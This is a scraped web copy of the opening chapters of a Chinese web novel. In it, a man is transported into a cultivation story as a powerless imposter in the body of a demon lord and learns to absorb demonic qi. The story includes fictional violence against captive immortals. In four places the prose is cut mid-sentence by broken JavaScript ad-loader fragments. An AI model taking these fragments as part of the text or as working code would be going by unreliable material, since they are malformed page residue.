《魔尊今天也想活[穿书]》 1. 第一章 九天之上。 伴随着轰动声响,地面随之震动,雕花屋檐上琉璃瓦片簌簌往下掉落,捧着琼浆身着蓝衣的仙子努力稳住身形,低低默念口诀,几个闪身进入内殿,感觉身处法阵之中,这才长舒一口气。 殿中擦拭长剑的神君微微抬眸,朝着仙子方向瞧去,那仙子一口长气刚吐出,察觉不远处的视线,又下意识屏息凝神,再不敢弄出半点动静。 “这是第几日了?”神君的声音犹如清澈溪水潺潺,温和中又有种沁人心脾的凉意。 可灵竹仙子却并不为之沉醉看了看窗外漆黑的天色,肃容回应:“回神君,已是第七日了。” 神君于三日前出关,不曾知,晓七日前天地异象带给她的恐慌,彼时九天上数不清的云宫宝殿瞬息倾塌,遥远传来的风声怒号,头顶常明的天光逐渐暗淡,直至陷入漆黑,周遭似是有无数彼此克制的法阵相互冲撞,眨眼之间就有几位修为低微的仙子被拉扯粉碎。 神君的殿宇也未能幸免,她蜷缩在最靠近神山的角落,在一片断壁残垣中内心惶惶,背后洞府里是还未出关的神君,也只有此处,能让她心中稍安。 好在她的选择没错,小半日慌乱过后,各府仙君神君修复阵法,派座下仙子出面清理残局,如此才知短短时日内已有十几仙子陨落,重伤者不计其数。 各仙子对这突如其来的灾祸的猜测五花八门,被认同最多的便是人界帝皇得天道庇佑将行飞升,故而震动三界,可灵竹仙子总觉若是真有天子飞升,为何偏偏又是以劫难的形式昭告;传闻武德神君当年飞升时,紫气铺满九重天,瑶池锦鲤排着长队跃龙门,连风华神君养的火凤都破天荒下了两颗蛋。 想到这,灵竹仙子不自觉打量不远处的神君,想不明白他那七情不沾六欲毫无的性子,为何会引得火凤都下蛋,到底是没开灵智的禽鸟,只知把媚眼抛给瞎子看。 叶鹤清不关心仙子的走神,闻言后沉凝片刻,将绢布搁在手边矮几上,手腕翻转间长剑入鞘,起身朝殿外行去。 殿门敞开刹那,他那一袭青衣在猎猎狂风中舞动不休。 灵竹仙子盯着他背影,看他长靴已迈出门槛,越行越远,忽而回神意识到什么,脸色煞白,脱口问道:“神君欲往何处去?” 如今各府仙君为保天宫稳定,不得不被困于九天之上,无暇探究这异动从何而来,可神君此时离开得如此潇洒,让她如何不觉慌张。 “七日已至,今日酉时异象消失,你且先留在殿中。”话音落时,神君的身影已消失在漆黑中。 —— 相较于九天上的凌乱,东稷此时就显得格外平静,倒不是未受影响,只是除了坍塌的那座魔殿外,东稷也没什么可被毁坏的了。 就如外界总挂在嘴边的评价一样——东稷乃蛮荒之地。 这是官逍来到魔界的第七日,他依然没有想明白,小说中叱咤风云令人闻风丧胆的魔界,其地上建筑竟只有一间乌黑的宫殿。 还塌了。 是的,官逍穿书了。 当背着降落伞从飞机上跳下时,他张开双臂,想要拥抱自然,口中还大喊勇敢的人先享受世界,可也没想到,他会勇敢到这个地步。 降落伞没打开,他在极度惊恐中脑内一片空白,下意识闭上双眼,失重感消失时,意料中的疼痛并未来临,他不确定地睁开眼,如浓烟的气体遮挡了大半视线,朦胧间看见了高高的梁柱,那是类似宫殿的屋顶,却又不及从前见过宫殿的奢华贵气,反而有种阴森沉郁的感觉。 也不等多看两眼思考自己身处何处,一道刺眼的白光就劈开了屋顶,直直朝他而来。 官逍瞳孔骤然收缩,没等到从万丈跌落的粉身碎骨的痛,却等来了粗壮的雷电差点将他击碎。 【滴——】 刺耳的声音仿若穿透耳膜直穿灵魂,官逍想要捂紧耳朵,偏偏指尖都动不了分毫。 【检测到宿主失去生命体征,任务失败,是否重启任务?】 官逍以为自己幻听,可那道机械音不停在他耳边重复,好像只要他不回答,就会一直重复,一直。 “是。”官逍在心里应答,他不知道谁在出声,更不知道谁曾给他布置的任务,这么选无非就是凭借求生的本能。 【重启任务中,宿主躯壳修复中,修复进度:1%……】 吵人的机械音终于停歇了,官逍混沌的大脑也得到了片刻清醒的时间,他依旧直挺挺躺在地上不能动弹,从支离破碎的记忆中勉强拼凑出自己的处境,他大抵…是跳伞发生意外后,触发了某个奇遇。 说来好笑,这种匪夷所思的事情,但凡换个时间出现,他都会觉得十足荒诞,可刚刚才被雷劈了一回,这种小众的体验都拥有过,他竟奇迹般地平和接受了现实。 没过太久,官逍就听到嘈杂的脚步声自远处而来,在抵达门外时,又显踟蹰,几息后,终有胆大些的迈出了继续前行的步伐。 厚重的门被推开,那些抱团的身影挤进殿中,或轻或重的脚步声彰显着各自不同的重量,伴随着甲胄碰撞的哐啷声,莫名有些像背着破铜烂铁走街串巷的拾荒分队。 官逍也未想到自己还有心思琢磨这种玩笑,毕竟被雷劈过的焦黑身躯,现在已经无甚遮掩地展示在一群人面前,他很难不让自己乐观点。 他想笑的,可惜笑不出来,伴随着身躯被逐渐修复,他的□□感知逐渐归位,尖锐的疼痛中,他好像又能感觉到血肉疯长时不断摧残人意志的痒意。 围观的“拾荒分队”被眼前景象震住,沉默如鸡。 【50%……】 “拾荒分队”倒抽凉气。 【70%……】 “拾荒分队”窃窃私语。 【90%……】 官逍试着活动了一下手臂,那堆破铜烂铁的碰撞声陡然增大,“拾荒分队”齐齐后退几步。 98,99,100…… 【恭喜宿主重启任务成功,生命点-1,目前剩余生命点:2(官方提醒:生命点为0时,宿主再无复活可能。)】 原来新生的感觉并不多轻盈,官逍微眯眼适应了一下光线,缓缓坐起身,这简单的动作 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 有些许不适应新身体产生的僵硬,头也一阵阵眩晕,他的手臂搭在左腿膝盖上,破烂不堪的衣裳松松垮垮罩在身上,抬眸朝着瞧了许久热闹的小分队看去,看清的刹那,官逍眼皮不由一跳。 他一时之间有些无法形容自己的所见,那群看热闹的似人非人,有的头顶长角奇形怪状,有的面目狰狞身形足有几米高,稍稍能叫人入眼的几个,也如同曾火遍一时的杀马特般,顶着五颜六色的浓密毛发。 官逍的视线逐一扫过,心底吐槽千万遍,面上也没表露出分毫诧异,只因他此时也有些不太确定,在物以类聚的规则之下,自己是否也如他们一般长相猎奇。 还不等官逍想好该与他们说点什么时,只听破锅烂铁般碰撞的声响中,他们齐刷刷单膝跪地,气势如虹吼道:“恭喜尊主,贺喜尊主!” 官逍:? 恭喜我被雷劈吗? 官逍的目光停在最前排的那人身上,只见他对上自己的视线后,抬了抬手,他身后那群就迅速撤出大殿。 不用再面对一群奇形怪状的“小怪”,官逍整个人的状态也松弛了许多,仔细打量面前之人,他一身白色长袍,腰间束浅青色宽边锦带,别着把乌木折扇,衣襟与袖口用金线镶绣流云纹,头顶甚至还戴了个白玉冠,精致又儒雅。 如果忽略那张脸的话,这的确算是陌上人如玉的谦谦君子,只可惜那张抹了八百层白粉的脸,如同埋在地底几十年不见天日才从土里爬上来的。 “你的脸……”官逍不忍直视,抬手指向他的面孔,粗粝沙哑的嗓音把自己吓了一跳。 还未等说出后半句话,那白衣男恍然大悟,不知从哪里摸出个面具戴在脸上,“吾忧心尊主安危,方才急忘了。” 官逍没太细究他话中含义,盯着那张被面具挡得严严实实的脸,满意点了点头,“这样确实顺眼多了。” “尊主不嫌恶属下就好。”白衣男微微躬身,姿态尽显尊敬。 官逍有些不适应被这么对待,尤其是他还没搞清楚自己定位的前提下,未免多说多错,只含糊应了一声“嗯”。 脑袋的晕眩感一直没褪去,还有愈演愈烈的架势,官逍直觉坐在地上不太符合自己身份,强撑着身子站立起来,环顾四周,这是一个没了屋顶且墙壁倒了大半的类似大殿的建筑,头顶漆黑没有半点星辰,殿内红烛闪烁着幽幽的光,正中央的几层阶梯之上有个黑玉座椅,座椅后的巨型雕塑在昏暗光影的映衬下更显威严可怖,昭示着那个座位代表的地位不凡。 官逍对那座椅有种强烈的熟悉感,他一步步拾阶而上,走到最高处,转身再看,居高临下的视野会在一瞬间激荡起他对一切事物掌控在手中的欲望,令人着迷。 他看清了大殿四周泛着黑烟的乌池,看见石柱上雕刻的奇怪图腾,还有对他俯首的白衣男。 官逍坐上冰凉的座椅,这点运动量已耗去看他大半体力,他深深吐出一口气,就听台阶下的白衣男开口问道:“尊主今夜可要享用仙子?” 官逍一口气卡在喉间,差点就把仅剩的那点生命值留在这一刻。 2. 第二章 仙子自然是没享用到的,且不说官逍初来乍到还没有这种心思,就现在这个四面漏风的处境,他也很难做什么。 对于官逍的拒绝,白衣男略显失落,这一度让官逍以为今夜为自己准备好的仙子就是白衣男自己。 不过这个误会很快就消除了,白衣男退出大殿后,官逍靠坐在座椅中,盯着石柱上的图腾出神,他需要一个清醒的大脑,来冷静分析自身目前处境。 等眩晕感褪去,脑中似乎多出了很多东西,官逍从中翻出了一些不属于自己的简短记忆碎片,有日复一日“他”挥舞着长刀在幽谧森林中不停砍杀的场景,有被围攻奄奄一息时破釜沉舟绝处逢生的画面,还有“他”站在王位俯视着一群俯首臣称的怪物,一段段在眼前飞快闪过。 将那些记忆碎片看完,官逍摊开手掌,目光在手心上端详许久,他确定这不是自己从前的手,或者说,这具被重新修复好血肉的身体也不是属于他的,他被安排来到这个世界,占用了别人的身体。 官逍从原身的记忆中得知这具身体的主人是魔界的王,刚刚那个白脸面具魔是原身最得力的护法之一——禄无游,这样的得力下属他还有三个:破山月,九行煞,定常生。 原身修为高深,距离与天地同寿也只不过一步之遥,只因曾经多次强行提升境界道行不稳,停滞在渡劫期已有两百多年,这对于普通魔修来说是可望不可及的速度,可原身自初修炼起便是一骑绝尘的天才,怎会满足止步不前。 修为的瓶颈期加之时时刻刻被魔气反噬,原身越来越暴躁弑杀,下属不断进献人仙两界的俘虏为其享用,均是侍奉他一夜后被抽干体内修为,死状凄惨,但碍于原身实力,两界敢怒不敢言,只能尽力避开东稷。 只是这等让三界畏惧的修炼天才,终究没抵过心魔摧折,在再一次强行提升境界时没等雷劫到来便魂飞魄散,这才让官逍一睁眼就被迫实地演练渡雷劫。 官逍倒也不用再费尽心思去挖掘原主的更多记忆,就已经知晓了自己身处何处,因为只禄无游这个名字,便让他想到了不久前粗略翻阅过的一本小说,那是一本修仙文。 记忆深刻的原因是官逍当时看简介,就认定那是本披着修仙升级流的后宫文,偏偏一直没看到男主的桃花在哪,他不相信自己会看走眼,手速飞快地一直往后翻,看到了男主在修仙门派潜心修炼近百年,苦尽甘来一朝飞升,继续醉心道法,成上天道武神君,威名远扬上千载,看到他走遍三界平诸多纷乱,将暴虐的魔界尊主斩杀于长剑下,为仙界人界争取百年稳定,最终却被魔界几位魔将联手设计,同归于尽,身归混沌,仙体陨落。 从头至尾,当真连个暧昧女修都不存在,而那与书中男主同归于尽的魔将,其中之一就是禄无游。 想到这,官逍摸着身下的王座陷入沉思,所以他如今的定位,应就是……被斩于长剑下的那位魔尊吧? 官逍掐指一算,没关系,如果不出意外的话,自己还有两条命。 — 自官逍从这个世界睁眼开始,断断续续的地动与雷云翻动已在魔界持续了七日,魔台上五根魔柱倒了两根,肆虐的魔气如同瞧不见影的飞矢,穿过身体便是一个窟窿。 初时官逍看见身体破了几个洞的魔修从身边经过还觉惊慌,后来发现这些魔气最多在自己皮肤不起眼的位置留下浅淡伤口,再加上那些身体漏了风的魔修依旧活蹦乱跳,他莫名就接受了这个现实。 官逍当初到来这个世界时倒了一半的魔殿经过后面陆续的摧折已经全部坍塌,只留那台阶上的王座和雕像静静耸立在一片平坦的土地上,好似在为那无声陨去的前魔尊保留最后一丝体面。 地下宫殿虽稳固却不见天日,官逍不想挑战魔界的建筑质量,除却夜里都不肯在地宫待,每日清晨早早爬上地面,幻想自己是从地底爬上来的恶魔,拥有无穷的法力。 短短几日,官逍已经觉得自己在这个陌生的地界有些精神不正常了,从一开始遇到个长相奇特的魔修就多瞧两眼,到现在觉得只要能活着天塌了也行,这种消极的心理或许也只有亲身体会他处境的人才能懂。 身边环绕的是魔气弥漫周身的魔将魔修,只要稍微施展术法他就能乖乖躺下受死,可他却要装成一个修为深不可测的魔界尊主,控制着这群随时会看破他真实能力的下属。 第八日清晨,地动与雷劫消停了,官逍从地宫爬上地面时,察觉好似有什么不同,他抬头看向天空,应是比昨日亮堂了些。 身后魔修搬着他这几日常坐的红木圈椅走到地势高处,放置在方圆万里唯一一株活木下,请他屈尊落座,萧瑟的秋风将官逍今日身着的那身深红色长袍吹得咧咧作响,他不紧不慢走到圈椅边,姿态懒散,伸手接住风中撒落得一片黄叶后,才缓缓坐下,冲着那魔修摆摆手。 “属下告退。”魔修右手搭在胸前,躬身后离开。 等魔修走远,官逍再次尝试召唤当初在他脑海中不停吵人的系统,今日系统终于有了反应,不等官逍多言,便自行打开了面板,虚空中纯黑色的面板上浮现简单几个字。 【任务目标:统一魔界。】 这宏伟的目标看得官逍虎躯一震,心中千百个问题不知从哪个开始询问。 好一会儿后,官逍挑选好问题低声询问:“体内魔气如何催动?初始技能有没有?” 黑色面板上的文字闪烁了几下,似是不能消化这个问题。 “原身的武器在哪里?”官逍不死心继续询问。 他记得原书中魔界尊主有把盛名在外的大刀,是取三千手下败将的魔核一并放进炼器炉炼化而成,那魔刀强烈的杀气只叫众魔修们看一眼都畏惧不安不敢造次。 若是得了这等武器,他也能在魔修的环绕中狐假虎威,安心一些。 系统这回字体闪烁得更快了,官逍眼睛眨也不眨盯着看,直到眼镜都酸涩了,才看见黑色面板上的文字产生了变动,时影时现。 【搜索失败。】 什么意思? 官逍正准备挑第三个 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 问题提问时,一道身影由远及近,白色长袍似是在风中飘动,颇有地府鬼魅之风。 禄无游的身影走近,官逍收敛好表情,端起魔尊的架子,状似漫不经心地瞥了对方一眼,只这一眼,看到了禄无游那双黑沉的眼眸,共处几天,他很少看到禄无游有这神态,眼皮不由一跳,心中有不好的预感。 果然,就听禄无游禀报道:“启禀尊主,宁崇山下地牢封印被地劫毁坏,关押的前护法潜逃。” 官逍倒是知道魔界的前护法,书中有只言片语提及过,原身当初入魔界拼杀四百来年,收服一批魔修,率众魔将魔修占魔界东部边陲之地,与当时的魔主分庭抗礼,斗法足十载才分出高下,最后一战魔主被原身击碎魔核,斩杀于万丈渊,魔主身边不降的魔修尽数成了原身的炼刀材料,只留了两个修为高深的护法关进地牢。 至于书中那两个前护法的结局……他们所修习的功法是依托前魔主而生,前魔主身陨,他们的修为退步飞快,寿数也剩不到百年。 算算已经差不多到头了。 “属下查看了他们逃走的路径,一魔朝东,一魔朝北,吾已命宁崇山值守的魔修分两路前去抓捕。”禄无游见官逍面色不虞,继续道。 官逍点点头,微拧起的眉头放松开,“不必上心,将死之身罢了。” “是。”禄无游垂首应答,犹豫几息后,用微不可闻的声音道:“还有…那位也逃了。” 官逍搭在圈椅上的手用了好大自制力才克制住没颤抖,他坐起身偏头紧紧盯向禄无游,嘴角勾起一个浅浅的弧度,旁人却不能从他那双眼眸中看出半分笑意。 “禄无游!”官逍一字一句道。 禄无游只垂首一言不发,不做辩驳,似是对官逍如何处置他并不十分在意。 半晌后,官逍靠回椅背,语气冷冽,“自去领罚,没有第二次。” “是。” 禄无游退后三步,转身离开。官逍看着他走远的背影,肩膀久久不敢松垮下来。 他知道,禄无游这是已经看出了什么,在试探于他。 地牢深处有一个被关押了几千年的魔,传闻他曾意外得到万古魔经残章,修炼后修为大涨,奈何因缺失几章无法修得渡劫,从而产生心魔成了三岁智儿,前魔主借机抢他宝库夺他地界,却偏偏找不到那本魔经所在,便把他关在地牢不见天日。 原身多次强行提升境界导致修为有诸多漏洞,需寻一个更全面细致的功法修习以弥补,万古魔经再合适不过,他斩杀前魔主后,就将那位魔界的前辈从中心魔城带回东稷,想要帮他恢复神智,以套出万古魔经所在,便给划出一块地界为其建居所,偏偏那前辈哭闹不休只肯关回到地牢。 说是关押有些言过其实,因为地牢深处那间屋穴常有魔修为其打扫,布置也精致讲究,原主不曾苛待于他,甚至连牢门都未上锁,几百年来他都不肯出来。 原书中直至男主仙陨时,那位依然在东稷的地牢中独自念诵着颠来倒去的万古魔经残章。 3. 第三章 如今禄无游说他逃了,官逍还有什么不明白,若非有魔刻意引导,他这辈子都不可能走出地牢,而为了试探自己,禄无游确实费了很大的功夫。 官逍不知禄无游从哪看出自己的破绽,原书着重描述男主如何英勇正义,对这位反派魔尊的描述实在不多,而从记忆碎片中,官逍也只能窥得一星半点,原主喜怒无常,只魔殿都因他突然发作修缮过千百回,以至于现在官逍让魔修再去修缮塌倒的大殿,这群魔修早已轻车熟路,连商讨构造都不用。 可他对待自己的几位魔将又很是优厚,从不曾疑心于他们,甚至将魔界一分为四,令他的魔将们各领一方属地。 官逍未曾与原身相处过,不知他为何敢做到这一步,只能猜测原身是对自己的修为足够自信,不畏惧任何属下的背叛。 可他这几日对待禄无游并未刻意疏离,几乎是复刻了记忆里原身的态度,难道是…… 官逍的目光缓缓落在那座残破的魔殿上,数不清的魔修正聚集在那附近,井然有序地为魔殿添砖加瓦,干得热火朝天。 这座魔殿修得太顺利,他也太久未曾发作过了。 官逍状似不经意地靠近修缮了大半的魔殿,这石砖不知从何而来,漆黑而沉重,看上去十分坚硬,原身每次狂躁时,动动手指就能把几米厚的魔殿墙壁砸出一个巨大的窟窿。 可对官逍来说,别说是毁坏,就只是在上面凿出一个洞,官逍都得偷偷摸摸凿一夜,想想自己熬一宿在这墙壁上凿出一个洞以表示自己在发作怒火,而下属需凑近才能寻得那洞在何处,官逍就立马打消了这个念头。 原身功力深厚,偏他到现在也没能摸索出如何催动体内魔力,更没感知到所谓的魔核在身体哪一处,他甚至有些怀疑原身陨灭时,把千年的修为也一并带走了。 官逍不太敢想这个可能,他没办法一直靠着这具躯壳装模作样在魔界立足,这里不像此时的凡间有封建王权,也不像仙界有等级制度,这里是魔界,所有魔修的臣服都基于对方比自己强大,他若是没有原主那身修为,坐在如今的位置上,他哪怕有八百条命都活不下去。 可他还不想死,上一世仿佛每分每秒都在为了赚钱而生,奶奶离世后,他才醒悟过来自己太极端,生活的意义远不止如此,他决定去旅游,长长的旅行清单边写了许多抠抠搜搜的省钱攻略,没想到在第一个景点就发生意外,他从没有体验过真正的快意人生,既然有了再活一次的机会,他很想走走看看,哪怕是在别人笔下的世界。 他都想好了,作为男主功绩中浓墨重彩的一笔,魔尊之死怕是躲不过,他就安心等书中男主来给他一剑,然后躺平,待这一劫过去,他再偷偷使用最后一点生命值,开启魔界流浪生活。 可按书中时间线来算,距离这一天至少还有十几年,现在既坐在这个位置上,整个魔界的魔修又怎么可能让他退下来?从古至今,魔界掌权者更替只有一种可能——被挑战,被击败,被斩杀,旧去新来。 官逍还想苟活十几年,怀揣着心事回到柿子树下,禄无游试探的行为给官逍敲响了警钟,他不可能次次都依赖原书的那点描述避开试探,想要坐稳身下的位置,他必须得适应此间规则,修行功法,强者为尊。 【滴……感知到宿主强烈的修道意愿,现启动修行教学系统。】 耳边有机械声响起,官逍头顶的云层破开一条缝隙,一束阳光直直照射在他身前的土地上。 底下修缮魔殿的魔修们无意间仰头,看见穿透云层的那束阳光,疑惑地挠了挠脑袋。 魔界乃魔气盛行之地,只有缭绕的雾气和头顶层层堆积的厚云,何时有过这种亮光的存在。 不过这异象也就持续了片刻,官逍来到魔界以前几乎日日沐浴在阳光下,并不觉得罕见,他此时的注意力都集中在修行教学系统上。 这个教学系统的页面格外简洁明了,从上到下排列着上百个文件,从练体期到渡劫期,除了第一章以外,其他课程的字体都是灰黑色,官逍试着点击了一下,果如意料般没有反应,看来还是应验了那个最坏的猜想,这具身体已经没了半点修为,他得从头开始。 官逍点下第一个文档。 【系统提示:该课程毎日可学习次数:3,剩余次数:3。】 猝不及防出现的提示让官逍心头一跳,四周无人打搅,他深吸一口气,做好心理准备。 本以为会看见密密麻麻字迹的书页,官逍前世初中辍学,对这种排版有种本能的自卑,然而他的心理准备还是做少了,现实远比想象的更残酷,课程开启刹那,官逍的眼前有文字不断闪过,快到他根本不敢眨眼,求生意识让他的注意力从未有过得集中,试图努力把每个字都记入脑海。 一炷香过后,官逍的双眼流下滚烫的热泪,太久不眨眼实在干涩得紧,心中也很是凄凉。 这不知从何而来的系统,每次给他希望的时候也会附赠一份挑战,这种阅读模式还毎日限制次数,他也不知有生之年能否修到课程终章的渡劫期。 可抱怨归抱怨,修道一事不容他有半分松懈,整理好脑中刚刚留存的文字,官逍再次开启第二次学习机会。 如此两次将剩余的机会用完,官逍也勉强背下了炼体的前半段内容。 尽管教学系统已经尽可能描述细致,可官逍作为一个初入玄学世界的新手,很难理解文字表达的“感知界中魔气,引入自身体内,以强身健体”。 他静静坐在红木圈椅中,合上双眼,将远处修宫殿的杂乱声忽略,凭借本能将感知扩散至周围,他好似听见了枝头的柿子摇摇晃晃,还有那半掉不掉的枯叶紧紧拉扯住枝干,在一阵风后终是飘摇而下,落在脚边的土地上。 他闭着双眼,却好似又能看见周围的某个微小的事物,这种感知很是奇妙,可再想扩大感知面积,细汗就布满额头,顺着脸庞落入衣襟。 虽还未摸到魔气的边,但也算是有所领悟,官逍知道不能急于一时。 但从这天起,毎日清晨到夜黑,他都屏退众人,只留自己坐在柿子树下,不断尝试摸索魔气的所在,书上的柿子越来越少,第一章节的内容也在一次次不停重复的展现中,终于印刻在了 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 官逍的脑海中,他一点点参悟到了那些文字所代表的玄之又玄的奥义。 直到几日后,一身血腥气的禄无游来禀告魔台中心的魔柱已经修好,魔气不会四窜,只是上面的图纹要等九行煞回东稷再绘制。 官逍便朝魔台去了一回,之前他因自知压不住魔柱倾泻的魔气,都以碍眼为由不曾靠近,远远观望,现走近才看清,这几根高耸入云魔柱上的图纹之精细,远超魔殿中的那些,其上各种狰狞凶兽盘绕,兽瞳中的凶光毕现,仿若下一秒都能从魔柱上跳跃而下发出震天嘶吼。 当走上魔台的刹那,官逍察觉周身气流有些许不同,他朝着禄无游的方向看了一眼,对方识趣退到魔台之下,官逍独自走到魔柱边,那种气流的波动就更加明显,这一瞬间,官逍突然领悟到了何为魔气。 先前魔柱损毁,有部分魔气肆虐,混杂在诸多物质中,官逍难以分辨,如今靠近魔柱,那种纯粹又浓郁的气流一旦近身,就显得格外与众不同,官逍尝试着如系统教学内容所写的那般,释放感知,带动身边的魔气进入自己身体,大抵初次是没控制好,身体猛然涌入一大股浓郁的魔气,腹内发烫,还有种虚无缥缈的饱腹感。 他急忙收回感知力,沉下心将身体中的那股外来气息梳理好,再顺着意识一点点带着走过全身,好半晌后,才觉腹腔内好受一些,至于魔气带给他身体的影响,是否有强身健体之功效,官逍并未体会到。 正待官逍思考要不要再练习一回时,有一个从未见过的面孔进入他的视野,那是个利落干练的女性魔修,她身着戎装,一身亮银色铠甲哪怕在雾蒙蒙的天色中仍熠熠生辉,与官逍这些天见到的那些魔修破铜烂铁般的护甲完全不同,有种夺人眼球的气势在,铠甲下是绣着如意牡丹的纯黑色征袍,在她行走间扬起,没有半分婉约,有的全是肃杀之气。 “这个比禄无游更像是索命的厉鬼。”官逍长指指尖抵着额头,低声自言自语。 几十米开外的破山月耳朵动了动,大步走上魔台行到官逍面前,利落单膝跪地,腰间长剑剑鞘与铠甲发出沉闷碰撞声响,“属下见过尊主,恭喜尊主,贺喜尊主。” 官逍眉头微蹙,怎么每个见过他的魔都在称恭喜,难道和原身的陨灭有什么联系? “嗯。”官逍应了声,目光在她身上扫视一周,察觉她身上有什么气息纷杂凌乱,他忽而想起原书中好似提过破山月几次突破真魔期都以失败告终,心中有了大致猜测,“既回东稷,便好生修养些时日。” 破山月怔了怔,抱拳应是。 “属下在属地内虏获一批潜伏于魔界的仙子,挑了几个皮囊尚可的带回了东稷,献给尊主,贺尊主渡劫成功,从此三界无一能与尊主抗衡。”破山月声音铿锵有力,伴随着她声音落下,远处一小群魔修押着几个仙子朝着魔台的方向而来。 官逍知晓宁崇山地牢中就关押着十来个仙子,但他怕露馅一直拒绝享用,故而那些仙子也从未出现在官逍面前。 算起来,这还是官逍到来后,第一回亲眼看见魔界以外的存在,不由提起几分兴趣。 4. 第四章 虽魔修都收敛了周身魔气,但仙与魔的区分依旧很是明显,并非是长相差异,而是那几个仙子一身凛然正气的姿态实在倨傲,还有他们被捆得格外严实,很是突出。 等几位仙子被押送到魔台下,官逍垂眸看去,诚如破山月所说,她挑选出的都是相貌出色之辈,官逍打眼瞧去,眼前一亮又一亮。 为首魔修喝令他们跪下于官逍见礼,几位仙子具自持仙人身份不肯对魔屈膝,昂首挺胸,直直看向官逍的方向,仿佛把“有本事你打死我”写在脸上。 官逍见他这神态没忍住轻笑一声,只觉他身上有种清澈的愚蠢,而闻他笑声,身旁破山月的剑已然出鞘,剑尖直冲其中一个仙子而去,眨眼间,剑身就穿透那仙子胸膛,未收敛的魔气将那张丰神俊朗的脸划出几道深深的伤口。 破山月的手心在半空中虚虚一握,长剑应召回到她的手中,伴随着剑身入鞘的嗡嗡声响,那仙子在原地抽搐两下,重重倒在了地上。 官逍:? 官逍瞳孔微缩,好险一声国粹没出口,背于身后的手指攥紧,心跳仿佛都漏了一个节拍,他不是没在脑中那些记忆碎片里看到原身的残暴,只真实发生在眼前的画面,远比尘封许久的记忆来得冲击力更大。 破山月不愧是原身身边唯一女魔头,果然够果断利索。 这几个仙人大抵也是在仙界安稳的日子待久了,被虏后单独关押也未受刑狱之苦,根本没意识到自己的处境,直至破山月这突然的出手,他们才觉畏惧,纷纷收回看向官逍的视线,一时之间都开始纠结是保住为仙子的尊严,还是保住这条性命。 官逍的目光落在倒地的那个仙子身上,他胸口处的红色血迹已经浸湿大片衣裳,官逍盯了片刻,后知后觉反应过来仙人体内的内丹不被毁就不会轻易陨去,而破山月虽出手迅速,却只是想给他们警告,并非要在魔尊面前喊打喊杀,所以避开了要害。 想明白这一点,官逍紧绷的身体渐渐放松,视线挪向了气焰明显低了一层的剩余仙子身上,他不出声,加之周围魔修的环绕,气氛更显肃杀,终有第一个仙子选择先保住命,继而第二个、第三个。 官逍摆摆手,几个魔修便上前将那个倒在地上不省人事的仙子拖走。 留下的几个仙子在膝盖落地的刹那,似是有什么从他们体内被剥离,连时刻挺直的背脊都佝偻了些许,宛如被从头泼了盆凉水的丧家之犬。 官逍本是有些恶趣味地想看仙子被打碎骄傲的模样,但真当他看见几个仙子明明自身没有风骨,偏还表现得是因为受到胁迫才畏缩屈辱的模样,又觉仙子也不过如此,没甚意思。 官逍不觉识时务者有多低贱,只是心中对仙人的美好印象被破坏后,那些姣好的皮囊也无法再吸引他,官逍恢复冷淡表情,走下魔台朝着柿子树的方向而去。 那里地处高处,魔修不会随随意打搅,清静的地方更适合他钻研魔气炼体的奥秘。 魔修们见官逍的态度后面面相觑,不知如何对待这些几个仙人,按照以前的情况,一夜三四个仙子对魔尊来说也只是开胃小菜,可渡劫后的魔尊好似格外挑剔,且不说地牢中关押的那些仙子没一个被瞧上眼,今日这几个仙子修为更高,想必尝起来也更可口,可魔尊依然无动于衷。 这……魔尊比他们懂仙人的滋味,魔尊不喜定是他们捆来的仙人不够完美。 破山月接收到魔修们投来的询问目光,看向魔尊走远的背影,低声吩咐道:“丢进地牢,日后丢进炉中炼器便是。” 一句话就将几个仙子的生死定下,其中有闻言面白如纸者,却也有义愤填膺冲着破山月叫喊者。 “魔头的走狗罢了,待我们仙君来,定将你们这蛮夷之地夷为平地。” 破山月闻言嗤笑一声,似是听了什么有趣的笑话,“你们仙君又如何敢来东稷撒野,怕不是也想做那炉中亡魂?” 曾经仙界神君想对魔界出手都得筹划百年再三斟酌,如今尊主成功渡劫,已是不死之身,怕是仙界那位闭关许久的帝君都不敢说来东稷这等诳语,区区一个仙君又有何惧。 那口出狂言的仙子听破山月这么一句嘲讽的话,顿时面红耳赤,张嘴想要辩驳仙界如何强大,可想起仙君曾提及魔界的态度,如同泄了气的皮球,再没底气开口。 是啊,他们仙君其实提起东稷时语气也是复杂的,不止自家仙君,仙界怕是没有几个仙君听到东稷心底会不觉得有些许畏惧,据说他们上天道那位战功赫赫的武神君,右手经脉也曾是被魔界如今的尊主所毁。 这边破山月嘲讽得理直气壮,而越行越远的官逍却是身形顿了顿,心中苦笑,什么成功渡劫,什么不死之身,倘若要是叫三界知晓原先的魔尊早已陨在渡劫中,而现在坐在这位置上的是个冒牌货,怕是东稷这片土地下一刻就会成为主战场。 而在三界的硝烟燃起之前,他会先被魔界内部解决掉,他这会儿竟然有些感谢来到这个世界时劈向自己的那道雷,若非是在一群魔修眼前挨了那一下还活蹦乱跳,怕是得想尽办法才能在没有道行的情况下捂住自己是个假魔尊的事实。 至于那些地牢中那些俊俏的仙子,官逍即便早已瞻仰亚当夏娃改编影片多次且心怀向往,也不敢下手,且不说他做不来原主那样吸食生机与仙气的事,只是春风一度他都怕被一个低级仙子撂倒。 那当真是色字头上一把刀。 官逍收敛心神,回到树下静坐,今日既开了成功将魔气引入体内的头,那不如抛开风花雪月,趁热打铁多尝试几次。 接下来一连十几日,魔修们忙于修缮魔殿,破山月将自己封锁于洞府中养伤,禄无游忙着去寻那位被他放走的魔的踪迹,无魔打搅官逍,官逍乐得清静,地宫也不回了,昼夜不歇地在树下打坐炼体,将魔气一遍遍引入体内,流转于四肢百骸之间,愈发流畅,他逐渐能感觉到这具身体产生了些许变化,是五感的增强,也是行走之间脚步的轻盈。 不过,官逍有些怀疑这种轻盈是因为他越来越消瘦了。 作为一个还需要吃东西维持生命体征的肉体凡胎,在一群早已辟谷的魔中未免显得格格不入,他只能以状似消遣的方式往腹中塞成熟了的柿子,若非毎日勤奋炼体,只靠着那几棵柿子他怕是早已饿死了。 只是没摄入足够的食物,这具身体哪怕依然运转, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 